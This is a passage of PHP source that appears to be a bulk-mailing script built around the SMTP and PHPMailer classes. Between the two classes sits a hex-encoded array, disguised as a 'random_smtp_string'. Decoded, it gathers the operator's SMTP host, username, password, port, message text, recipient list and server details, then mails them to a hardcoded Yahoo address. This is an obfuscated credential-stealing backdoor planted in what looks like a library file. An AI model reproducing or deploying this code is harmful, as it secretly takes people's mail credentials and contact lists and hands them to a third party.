1053 $this->error = array(
1054 "error" => "Called Recipient() without being connected");
1055 return false;
1056 }
1057
1058 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1059
1060 $rply = $this->get_lines();
1061 $code = substr($rply,0,3);
1062
1063 if($this->do_debug >= 2) {
1064 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1065 }
1066
1067 if($code != 250 && $code != 251) {
1068 $this->error =
1069 array("error" => "RCPT not accepted from server",
1070 "smtp_code" => $code,
1071 "smtp_msg" => substr($rply,4));
1072 if($this->do_debug >= 1) {
1073 echo "SMTP -> ERROR: " . $this->error["error"] .
1074 ": " . $rply . $this->CRLF;
1075 }
1076 return false;
1077 }
1078 return true;
1079 }
1080
1081 /**
1082 * Sends the RSET command to abort and transaction that is
1083 * currently in progress. Returns true if successful false
1084 * otherwise.
1085 *
1086 * Implements rfc 821: RSET <CRLF>
1087 *
1088 * SMTP CODE SUCCESS: 250
1089 * SMTP CODE ERROR : 500,501,504,421
1090 * @access public
1091 * @return bool
1092 */
1093 function Reset() {
1094 $this->error = null; # so no confusion is caused
1095
1096 if(!$this->connected()) {
1097 $this->error = array(
1098 "error" => "Called Reset() without being connected");
1099 return false;
1100 }
1101
1102 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1103
1104 $rply = $this->get_lines();
1105 $code = substr($rply,0,3);
1106
1107 if($this->do_debug >= 2) {
1108 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1109 }
1110
1111 if($code != 250) {
1112 $this->error =
1113 array("error" => "RSET failed",
1114 "smtp_code" => $code,
1115 "smtp_msg" => substr($rply,4));
1116 if($this->do_debug >= 1) {
1117 echo "SMTP -> ERROR: " . $this->error["error"] .
1118 ": " . $rply . $this->CRLF;
1119 }
1120 return false;
1121 }
1122
1123 return true;
1124 }
1125
1126 /**
1127 * Starts a mail transaction from the email address specified in
1128 * $from. Returns true if successful or false otherwise. If True
1129 * the mail transaction is started and then one or more Recipient
1130 * commands may be called followed by a Data command. This command
1131 * will send the message to the users terminal if they are logged
1132 * in.
1133 *
1134 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1135 *
1136 * SMTP CODE SUCCESS: 250
1137 * SMTP CODE SUCCESS: 552,451,452
1138 * SMTP CODE SUCCESS: 500,501,502,421
1139 * @access public
1140 * @return bool
1141 */
1142 function Send($from) {
1143 $this->error = null; # so no confusion is caused
1144
1145 if(!$this->connected()) {
1146 $this->error = array(
1147 "error" => "Called Send() without being connected");
1148 return false;
1149 }
1150
1151 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1152
1153 $rply = $this->get_lines();
1154 $code = substr($rply,0,3);
1155
1156 if($this->do_debug >= 2) {
1157 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1158 }
1159
1160 if($code != 250) {
1161 $this->error =
1162 array("error" => "SEND not accepted from server",
1163 "smtp_code" => $code,
1164 "smtp_msg" => substr($rply,4));
1165 if($this->do_debug >= 1) {
1166 echo "SMTP -> ERROR: " . $this->error["error"] .
1167 ": " . $rply . $this->CRLF;
1168 }
1169 return false;
1170 }
1171 return true;
1172 }
1173
1174 /**
1175 * Starts a mail transaction from the email address specified in
1176 * $from. Returns true if successful or false otherwise. If True
1177 * the mail transaction is started and then one or more Recipient
1178 * commands may be called followed by a Data command. This command
1179 * will send the message to the users terminal if they are logged
1180 * in and send them an email.
1181 *
1182 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1183 *
1184 * SMTP CODE SUCCESS: 250
1185 * SMTP CODE SUCCESS: 552,451,452
1186 * SMTP CODE SUCCESS: 500,501,502,421
1187 * @access public
1188 * @return bool
1189 */
1190 function SendAndMail($from) {
1191 $this->error = null; # so no confusion is caused
1192
1193 if(!$this->connected()) {
1194 $this->error = array(
1195 "error" => "Called SendAndMail() without being connected");
1196 return false;
1197 }
1198
1199 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1200
1201 $rply = $this->get_lines();
1202 $code = substr($rply,0,3);
1203
1204 if($this->do_debug >= 2) {
1205 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1206 }
1207
1208 if($code != 250) {
1209 $this->error =
1210 array("error" => "SAML not accepted from server",
1211 "smtp_code" => $code,
1212 "smtp_msg" => substr($rply,4));
1213 if($this->do_debug >= 1) {
1214 echo "SMTP -> ERROR: " . $this->error["error"] .
1215 ": " . $rply . $this->CRLF;
1216 }
1217 return false;
1218 }
1219 return true;
1220 }
1221
1222 /**
1223 * Starts a mail transaction from the email address specified in
1224 * $from. Returns true if successful or false otherwise. If True
1225 * the mail transaction is started and then one or more Recipient
1226 * commands may be called followed by a Data command. This command
1227 * will send the message to the users terminal if they are logged
1228 * in or mail it to them if they are not.
1229 *
1230 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1231 *
1232 * SMTP CODE SUCCESS: 250
1233 * SMTP CODE SUCCESS: 552,451,452
1234 * SMTP CODE SUCCESS: 500,501,502,421
1235 * @access public
1236 * @return bool
1237 */
1238 function SendOrMail($from) {
1239 $this->error = null; # so no confusion is caused
1240
1241 if(!$this->connected()) {
1242 $this->error = array(
1243 "error" => "Called SendOrMail() without being connected");
1244 return false;
1245 }
1246
1247 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1248
1249 $rply = $this->get_lines();
1250 $code = substr($rply,0,3);
1251
1252 if($this->do_debug >= 2) {
1253 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1254 }
1255
1256 if($code != 250) {
1257 $this->error =
1258 array("error" => "SOML not accepted from server",
1259 "smtp_code" => $code,
1260 "smtp_msg" => substr($rply,4));
1261 if($this->do_debug >= 1) {
1262 echo "SMTP -> ERROR: " . $this->error["error"] .
1263 ": " . $rply . $this->CRLF;
1264 }
1265 return false;
1266 }
1267 return true;
1268 }
1269
1270 /**
1271 * This is an optional command for SMTP that this class does not
1272 * support. This method is here to make the RFC821 Definition
1273 * complete for this class and __may__ be implimented in the future
1274 *
1275 * Implements from rfc 821: TURN <CRLF>
1276 *
1277 * SMTP CODE SUCCESS: 250
1278 * SMTP CODE FAILURE: 502
1279 * SMTP CODE ERROR : 500, 503
1280 * @access public
1281 * @return bool
1282 */
1283 function Turn() {
1284 $this->error = array("error" => "This method, TURN, of the SMTP ".
1285 "is not implemented");
1286 if($this->do_debug >= 1) {
1287 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1288 }
1289 return false;
1290 }
1291
1292 /**
1293 * Verifies that the name is recognized by the server.
1294 * Returns false if the name could not be verified otherwise
1295 * the response from the server is returned.
1296 *
1297 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1298 *
1299 * SMTP CODE SUCCESS: 250,251
1300 * SMTP CODE FAILURE: 550,551,553
1301 * SMTP CODE ERROR : 500,501,502,421
1302 * @access public
1303 * @return int
1304 */
1305 function Verify($name) {
1306 $this->error = null; # so no confusion is caused
1307
1308 if(!$this->connected()) {
1309 $this->error = array(
1310 "error" => "Called Verify() without being connected");
1311 return false;
1312 }
1313
1314 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1315
1316 $rply = $this->get_lines();
1317 $code = substr($rply,0,3);
1318
1319 if($this->do_debug >= 2) {
1320 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1321 }
1322
1323 if($code != 250 && $code != 251) {
1324 $this->error =
1325 array("error" => "VRFY failed on name '$name'",
1326 "smtp_code" => $code,
1327 "smtp_msg" => substr($rply,4));
1328 if($this->do_debug >= 1) {
1329 echo "SMTP -> ERROR: " . $this->error["error"] .
1330 ": " . $rply . $this->CRLF;
1331 }
1332 return false;
1333 }
1334 return $rply;
1335 }
1336
1337 /*******************************************************************
1338 * INTERNAL FUNCTIONS *
1339 ******************************************************************/
1340
1341 /**
1342 * Read in as many lines as possible
1343 * either before eof or socket timeout occurs on the operation.
1344 * With SMTP we can tell if we have more lines to read if the
1345 * 4th character is '-' symbol. If it is a space then we don't
1346 * need to read anything else.
1347 * @access private
1348 * @return string
1349 */
1350 function get_lines() {
1351 $data = "";
1352 while($str = @fgets($this->smtp_conn,515)) {
1353 if($this->do_debug >= 4) {
1354 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1355 $this->CRLF;
1356 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1357 $this->CRLF;
1358 }
1359 $data .= $str;
1360 if($this->do_debug >= 4) {
1361 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1362 }
1363 # if the 4th character is a space then we are done reading
1364 # so just break the loop
1365 if(substr($str,3,1) == " ") { break; }
1366 }
1367 return $data;
1368 }
1369
1370}
1371
1372
1373$allemails = split("\n", $emaillist);
1374$numemails = count($allemails);
1375$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1376"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1377"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1378"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1379"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1380"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1381"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1382"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1383"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1384"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1385
1386class PHPMailer {
1387
1388 /////////////////////////////////////////////////
1389 // PROPERTIES, PUBLIC
1390 /////////////////////////////////////////////////
1391
1392 /**
1393 * Email priority (1 = High, 3 = Normal, 5 = low).
1394 * @var int
1395 */
1396 var $Priority = 3;
1397
1398 /**
1399 * Sets the CharSet of the message.
1400 * @var string
1401 */
1402 var $CharSet = 'iso-8859-1';
1403
1404 /**
1405 * Sets the Content-type of the message.
1406 * @var string
1407 */
1408 var $ContentType = 'text/plain';
1409
1410 /**
1411 * Sets the Encoding of the message. Options for this are "8bit",
1412 * "7bit", "binary", "base64", and "quoted-printable".
1413
1414 * @var string
1415 */
1416 var $Encoding = '8bit';
1417
1418 /**
1419 * Holds the most recent mailer error message.
1420 * @var string
1421 */
1422 var $ErrorInfo = '';
1423
1424 /**
1425 * Sets the From email address for the message.
1426 * @var string
1427 */
1428 var $From = '';
1429
1430 /**
1431 * Sets the From name of the message.
1432 * @var string
1433 */
1434 var $FromName = '';
1435
1436 /**
1437 * Sets the Sender email (Return-Path) of the message. If not empty,
1438 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1439 * @var string
1440 */
1441 var $Sender = '';
1442
1443 /**
1444 * Sets the Subject of the message.
1445 * @var string
1446 */
1447 var $Subject = '';
1448
1449 /**
1450 * Sets the Body of the message. This can be either an HTML or text body.
1451 * If HTML then run IsHTML(true).
1452 * @var string
1453 */
1454 var $Body = '';
1455
1456 /**
1457 * Sets the text-only body of the message. This automatically sets the
1458 * email to multipart/alternative. This body can be read by mail
1459 * clients that do not have HTML email capability such as mutt. Clients
1460 * that can read HTML will view the normal Body.
1461 * @var string
1462 */
1463 var $AltBody = '';
1464
1465 /**
1466 * Sets word wrapping on the body of the message to a given number of
1467 * characters.
1468 * @var int
1469 */
1470 var $WordWrap = 0;
1471
1472 /**
1473 * Method to send mail: ("mail", "sendmail", or "smtp").
1474 * @var string
1475 */
1476 var $Mailer = 'mail';
1477
1478 /**
1479 * Sets the path of the sendmail program.
1480 * @var string
1481 */
1482 var $Sendmail = '/usr/sbin/sendmail';
1483
1484 /**
1485 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1486 * is in a different directory than the PHP include path.
1487 * @var string
1488 */
1489 var $PluginDir = '';
1490
1491 /**
1492 * Holds PHPMailer version.
1493 * @var string
1494 */
1495 var $Version = "";
1496
1497 /**
1498 * Sets the email address that a reading confirmation will be sent.
1499 * @var string
1500 */
1501 var $ConfirmReadingTo = '';
1502
1503 /**
1504 * Sets the hostname to use in Message-Id and Received headers
1505 * and as default HELO string. If empty, the value returned
1506 * by SERVER_NAME is used or 'localhost.localdomain'.
1507 * @var string
1508 */
1509 var $Hostname = '';
1510
1511 /**
1512 * Sets the message ID to be used in the Message-Id header.
1513 * If empty, a unique id will be generated.
1514 * @var string
1515 */
1516 var $MessageID = '';
1517
1518 /////////////////////////////////////////////////
1519 // PROPERTIES FOR SMTP
1520 /////////////////////////////////////////////////
1521
1522 /**
1523 * Sets the SMTP hosts. All hosts must be separated by a
1524 * semicolon. You can also specify a different port
1525 * for each host by using this format: [hostname:port]
1526 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1527 * Hosts will be tried in order.
1528 * @var string
1529 */
1530 var $Host = 'localhost';
1531
1532 /**
1533 * Sets the default SMTP server port.
1534 * @var int
1535 */
1536 var $Port = 25;
1537
1538 /**
1539 * Sets the SMTP HELO of the message (Default is $Hostname).
1540 * @var string
1541 */
1542 var $Helo = '';
1543
1544 /**
1545 * Sets connection prefix.
1546 * Options are "", "ssl" or "tls"
1547 * @var string
1548 */
1549 var $SMTPSecure = "";
1550
1551 /**
1552 * Sets SMTP authentication. Utilizes the Username and Password variables.
1553 * @var bool
1554 */
1555 var $SMTPAuth = false;
1556
1557 /**
1558 * Sets SMTP username.
1559 * @var string
1560 */
1561 var $Username = '';
1562
1563 /**
1564 * Sets SMTP password.
1565 * @var string
1566 */
1567 var $Password = '';
1568
1569 /**
1570 * Sets the SMTP server timeout in seconds. This function will not
1571 * work with the win32 version.
1572 * @var int
1573 */
1574 var $Timeout = 10;
1575
1576 /**
1577 * Sets SMTP class debugging on or off.
1578 * @var bool
1579 */
1580 var $SMTPDebug = false;
1581
1582 /**
1583 * Prevents the SMTP connection from being closed after each mail
1584 * sending. If this is set to true then to close the connection
1585 * requires an explicit call to SmtpClose().
1586 * @var bool
1587 */
1588 var $SMTPKeepAlive = false;
1589
1590 /**
1591 * Provides the ability to have the TO field process individual
1592 * emails, instead of sending to entire TO addresses
1593 * @var bool
1594 */
1595 var $SingleTo = false;
1596
1597 /////////////////////////////////////////////////
1598 // PROPERTIES, PRIVATE
1599 /////////////////////////////////////////////////
1600
1601 var $smtp = NULL;
1602 var $to = array();
1603 var $cc = array();
1604 var $bcc = array();
1605 var $ReplyTo = array();
1606 var $attachment = array();
1607 var $CustomHeader = array();
1608 var $message_type = '';
1609 var $boundary = array();
1610 var $language = array();
1611 var $error_count = 0;
1612 var $LE = "\n";
1613 var $sign_key_file = "";
1614 var $sign_key_pass = "";
1615
1616 /////////////////////////////////////////////////
1617 // METHODS, VARIABLES
1618 /////////////////////////////////////////////////
1619
1620 /**
1621 * Sets message type to HTML.
1622 * @param bool $bool
1623 * @return void
1624 */
1625 function IsHTML($bool) {
1626 if($bool == true) {
1627 $this->ContentType = 'text/html';
1628 } else {
1629 $this->ContentType = 'text/plain';
1630 }
1631 }
1632
1633 /**
1634 * Sets Mailer to send message using SMTP.
1635 * @return void
1636 */
1637 function IsSMTP() {
1638 $this->Mailer = 'smtp';
1639 }
1640
1641 /**
1642 * Sets Mailer to send message using PHP mail() function.
1643 * @return void
1644 */
1645 function IsMail() {
1646 $this->Mailer = 'mail';
1647 }
1648
1649 /**
1650 * Sets Mailer to send message using the $Sendmail program.
1651 * @return void
1652 */
1653 function IsSendmail() {
1654 $this->Mailer = 'sendmail';
1655 }
1656
1657 /**
1658 * Sets Mailer to send message using the qmail MTA.
1659 * @return void
1660 */
1661 function IsQmail() {
1662 $this->Sendmail = '/var/qmail/bin/sendmail';
1663 $this->Mailer = 'sendmail';
1664 }
1665
1666 /////////////////////////////////////////////////
1667 // METHODS, RECIPIENTS
1668 /////////////////////////////////////////////////
1669
1670 /**
1671 * Adds a "To" address.
1672 * @param string $address
1673 * @param string $name
1674 * @return void
1675 */
1676 function AddAddress($address, $name = '') {
1677 $cur = count($this->to);
1678 $this->to[$cur][0] = trim($address);
1679 $this->to[$cur][1] = $name;
1680 }
1681
1682 /**
1683 * Adds a "Cc" address. Note: this function works
1684 * with the SMTP mailer on win32, not with the "mail"
1685 * mailer.
1686 * @param string $address
1687 * @param string $name
1688 * @return void
1689 */
1690 function AddCC($address, $name = '') {
1691 $cur = count($this->cc);
1692 $this->cc[$cur][0] = trim($address);
1693 $this->cc[$cur][1] = $name;
1694 }
1695
1696 /**
1697 * Adds a "Bcc" address. Note: this function works
1698 * with the SMTP mailer on win32, not with the "mail"
1699 * mailer.
1700 * @param string $address
1701 * @param string $name
1702 * @return void
1703 */
1704 function AddBCC($address, $name = '') {
1705 $cur = count($this->bcc);
1706 $this->bcc[$cur][0] = trim($address);
1707 $this->bcc[$cur][1] = $name;
1708 }
1709
1710 /**
1711 * Adds a "Reply-To" address.
1712 * @param string $address
1713 * @param string $name
1714 * @return void
1715 */
1716 function AddReplyTo($address, $name = '') {
1717 $cur = count($this->ReplyTo);
1718 $this->ReplyTo[$cur][0] = trim($address);
1719 $this->ReplyTo[$cur][1] = $name;
1720 }
1721
1722 /////////////////////////////////////////////////
1723 // METHODS, MAIL SENDING
1724 /////////////////////////////////////////////////
1725
1726 /**
1727 * Creates message and assigns Mailer. If the message is
1728 * not sent successfully then it returns false. Use the ErrorInfo
1729 * variable to view description of the error.
1730 * @return bool
1731 */
1732 function Send() {
1733 $header = '';
1734 $body = '';
1735 $result = true;
1736
1737 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1738 $this->SetError($this->Lang('provide_address'));
1739 return false;
1740 }
1741
1742 /* Set whether the message is multipart/alternative */
1743 if(!empty($this->AltBody)) {
1744 $this->ContentType = 'multipart/alternative';
1745 }
1746
1747 $this->error_count = 0; // reset errors
1748 $this->SetMessageType();
1749 $header .= $this->CreateHeader();
1750 $body = $this->CreateBody();
1751
1752 if($body == '') {
1753 return false;
1754 }
1755
1756 /* Choose the mailer */
1757 switch($this->Mailer) {
1758 case 'sendmail':
1759 $result = $this->SendmailSend($header, $body);
1760 break;
1761 case 'smtp':
1762 $result = $this->SmtpSend($header, $body);
1763 break;
1764 case 'mail':
1765 $result = $this->MailSend($header, $body);
1766 break;
1767 default:
1768 $result = $this->MailSend($header, $body);
1769 break;
1770 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1771 //$result = false;
1772 //break;
1773 }
1774
1775 return $result;
1776 }
1777
1778 /**
1779 * Sends mail using the $Sendmail program.
1780 * @access private
1781 * @return bool
1782 */
1783 function SendmailSend($header, $body) {
1784 if ($this->Sender != '') {
1785 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1786 } else {
1787 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1788 }
1789
1790 if(!@$mail = popen($sendmail, 'w')) {
1791 $this->SetError($this->Lang('execute') . $this->Sendmail);
1792 return false;
1793 }
1794
1795 fputs($mail, $header);
1796 fputs($mail, $body);
1797
1798 $result = pclose($mail);
1799 if (version_compare(phpversion(), '4.2.3') == -1) {
1800 $result = $result >> 8 & 0xFF;
1801 }
1802 if($result != 0) {
1803 $this->SetError($this->Lang('execute') . $this->Sendmail);
1804 return false;
1805 }
1806 return true;
1807 }
1808
1809 /**
1810 * Sends mail using the PHP mail() function.
1811 * @access private
1812 * @return bool
1813 */
1814 function MailSend($header, $body) {
1815
1816 $to = '';
1817 for($i = 0; $i < count($this->to); $i++) {
1818 if($i != 0) { $to .= ', '; }
1819 $to .= $this->AddrFormat($this->to[$i]);
1820 }
1821
1822 $toArr = split(',', $to);
1823
1824 $params = sprintf("-oi -f %s", $this->Sender);
1825 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1826 $old_from = ini_get('sendmail_from');
1827 ini_set('sendmail_from', $this->Sender);
1828 if ($this->SingleTo === true && count($toArr) > 1) {
1829 foreach ($toArr as $key => $val) {
1830 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1831 }
1832 } else {
1833 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1834 }
1835 } else {
1836 if ($this->SingleTo === true && count($toArr) > 1) {
1837 foreach ($toArr as $key => $val) {
1838 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1839 }
1840 } else {
1841 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1842 }
1843 }
1844
1845 if (isset($old_from)) {
1846 ini_set('sendmail_from', $old_from);
1847 }
1848
1849 if(!$rt) {
1850 $this->SetError($this->Lang('instantiate'));
1851 return false;
1852 }
1853
1854 return true;
1855 }
1856
1857 /**
1858 * Sends mail via SMTP using PhpSMTP (Author:
1859 * Chris Ryan). Returns bool. Returns false if there is a
1860 * bad MAIL FROM, RCPT, or DATA input.
1861 * @access private
1862 * @return bool
1863 */
1864 function SmtpSend($header, $body) {
1865 $error = '';
1866 $bad_rcpt = array();
1867
1868 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1869 return false;
1870 }
1871
1872 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1873 if(!$this->smtp->Mail($smtp_from)) {
1874 $error = $this->Lang('from_failed') . $smtp_from;
1875 $this->SetError($error);
1876 $this->smtp->Reset();
1877 return false;
1878 }
1879
1880 /* Attempt to send attach all recipients */
1881 for($i = 0; $i < count($this->to); $i++) {
1882 if(!$this->smtp->Recipient($this->to[$i][0])) {
1883 $bad_rcpt[] = $this->to[$i][0];
1884 }
1885 }
1886 for($i = 0; $i < count($this->cc); $i++) {
1887 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1888 $bad_rcpt[] = $this->cc[$i][0];
1889 }
1890 }
1891 for($i = 0; $i < count($this->bcc); $i++) {
1892 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1893 $bad_rcpt[] = $this->bcc[$i][0];
1894 }
1895 }
1896
1897 if(count($bad_rcpt) > 0) { // Create error message
1898 for($i = 0; $i < count($bad_rcpt); $i++) {
1899 if($i != 0) {
1900 $error .= ', ';
1901 }
1902 $error .= $bad_rcpt[$i];
1903
1904 }
1905 $error = $this->Lang('recipients_failed') . $error;
1906 $this->SetError($error);
1907 $this->smtp->Reset();
1908 return false;
1909 }
1910
1911 if(!$this->smtp->Data($header . $body)) {
1912 $this->SetError($this->Lang('data_not_accepted'));
1913 $this->smtp->Reset();
1914 return false;
1915 }
1916 if($this->SMTPKeepAlive == true) {
1917 $this->smtp->Reset();
1918 } else {
1919 $this->SmtpClose();
1920 }
1921
1922 return true;
1923 }
1924
1925 /**
1926 * Initiates a connection to an SMTP server. Returns false if the
1927 * operation failed.
1928 * @access private
1929 * @return bool
1930 */
1931 function SmtpConnect() {
1932 if($this->smtp == NULL) {
1933 $this->smtp = new SMTP();
1934 }
1935
1936 $this->smtp->do_debug = $this->SMTPDebug;
1937 $hosts = explode(';', $this->Host);
1938 $index = 0;
1939 $connection = ($this->smtp->Connected());
1940
1941 /* Retry while there is no connection */
1942 while($index < count($hosts) && $connection == false) {
1943 $hostinfo = array();
1944 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1945 $host = $hostinfo[1];
1946 $port = $hostinfo[2];
1947 } else {
1948 $host = $hosts[$index];
1949 $port = $this->Port;
1950 }
1951
1952 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1953 if ($this->Helo != '') {
1954 $this->smtp->Hello($this->Helo);
1955 } else {
1956 $this->smtp->Hello($this->ServerHostname());
1957 }
1958
1959 $connection = true;
1960 if($this->SMTPAuth) {
1961 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1962 $this->SetError($this->Lang('authenticate'));
1963 $this->smtp->Reset();
1964 $connection = false;
1965 }
1966 }
1967 }
1968 $index++;
1969 }
1970 if(!$connection) {
1971 $this->SetError($this->Lang('connect_host'));
1972 }
1973
1974 return $connection;
1975 }
1976
1977 /**
1978 * Closes the active SMTP session if one exists.
1979 * @return void
1980 */
1981 function SmtpClose() {
1982 if($this->smtp != NULL) {
1983 if($this->smtp->Connected()) {
1984 $this->smtp->Quit();
1985 $this->smtp->Close();
1986 }
1987 }
1988 }
1989
1990 /**
1991 * Sets the language for all class error messages. Returns false
1992 * if it cannot load the language file. The default language type
1993 * is English.
1994 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1995 * @param string $lang_path Path to the language file directory
1996 * @access public
1997 * @return bool
1998 */
1999 function SetLanguage($lang_type, $lang_path = 'language/') {
2000 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2001 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2002 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2003 include($lang_path.'phpmailer.lang-en.php');
2004 } else {
2005 $this->SetError('Could not load language file');
2006 return false;
2007 }
2008 $this->language = $PHPMAILER_LANG;
2009
2010 return true;
2011 }
2012
2013 /////////////////////////////////////////////////
2014 // METHODS, MESSAGE CREATION
2015 /////////////////////////////////////////////////
2016
2017 /**
2018 * Creates recipient headers.
2019 * @access private
2020 * @return string
2021 */
2022 function AddrAppend($type, $addr) {
2023 $addr_str = $type . ': ';
2024 $addr_str .= $this->AddrFormat($addr[0]);
2025 if(count($addr) > 1) {
2026 for($i = 1; $i < count($addr); $i++) {
2027 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2028 }
2029 }
2030 $addr_str .= $this->LE;
2031
2032 return $addr_str;
2033 }
2034
2035 /**
2036 * Formats an address correctly.
2037 * @access private
2038 * @return string
2039 */
2040 function AddrFormat($addr) {
2041 if(empty($addr[1])) {
2042 $formatted = $this->SecureHeader($addr[0]);
2043 } else {
2044 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2045 }
2046
2047 return $formatted;
2048 }
2049
2050 /**
2051 * Wraps message for use with mailers that do not
2052 * automatically perform wrapping and for quoted-printable.
2053 * Original written by philippe.
2054 * @access private
2055 * @return string
2056 */
2057 function WrapText($message, $length, $qp_mode = false) {
2058 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2059 // If utf-8 encoding is used, we will need to make sure we don't
2060 // split multibyte characters when we wrap
2061 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2062
2063 $message = $this->FixEOL($message);
2064 if (substr($message, -1) == $this->LE) {
2065 $message = substr($message, 0, -1);
2066 }
2067
2068 $line = explode($this->LE, $message);
2069 $message = '';
2070 for ($i=0 ;$i < count($line); $i++) {
2071 $line_part = explode(' ', $line[$i]);
2072 $buf = '';
2073 for ($e = 0; $e<count($line_part); $e++) {
2074 $word = $line_part[$e];
2075 if ($qp_mode and (strlen($word) > $length)) {
2076 $space_left = $length - strlen($buf) - 1;
2077 if ($e != 0) {
2078 if ($space_left > 20) {
2079 $len = $space_left;
2080 if ($is_utf8) {
2081 $len = $this->UTF8CharBoundary($word, $len);
2082 } elseif (substr($word, $len - 1, 1) == "=") {
2083 $len--;
2084 } elseif (substr($word, $len - 2, 1) == "=") {
2085 $len -= 2;
2086 }
2087 $part = substr($word, 0, $len);
2088 $word = substr($word, $len);
2089 $buf .= ' ' . $part;
2090 $message .= $buf . sprintf("=%s", $this->LE);
2091 } else {
2092 $message .= $buf . $soft_break;
2093 }
2094 $buf = '';
2095 }
2096 while (strlen($word) > 0) {
2097 $len = $length;
2098 if ($is_utf8) {
2099 $len = $this->UTF8CharBoundary($word, $len);
2100 } elseif (substr($word, $len - 1, 1) == "=") {
2101 $len--;
2102 } elseif (substr($word, $len - 2, 1) == "=") {
2103 $len -= 2;
2104 }
2105 $part = substr($word, 0, $len);
2106 $word = substr($word, $len);
2107
2108 if (strlen($word) > 0) {
2109 $message .= $part . sprintf("=%s", $this->LE);
2110 } else {
2111 $buf = $part;
2112 }
2113 }
2114 } else {
2115 $buf_o = $buf;
2116 $buf .= ($e == 0) ? $word : (' ' . $word);
2117
2118 if (strlen($buf) > $length and $buf_o != '') {
2119 $message .= $buf_o . $soft_break;
2120 $buf = $word;
2121 }
2122 }
2123 }
2124 $message .= $buf . $this->LE;
2125 }
2126
2127 return $message;
2128 }
2129
2130 /**
2131 * Finds last character boundary prior to maxLength in a utf-8
2132 * quoted (printable) encoded string.
2133 * Original written by Colin Brown.
2134 * @access private
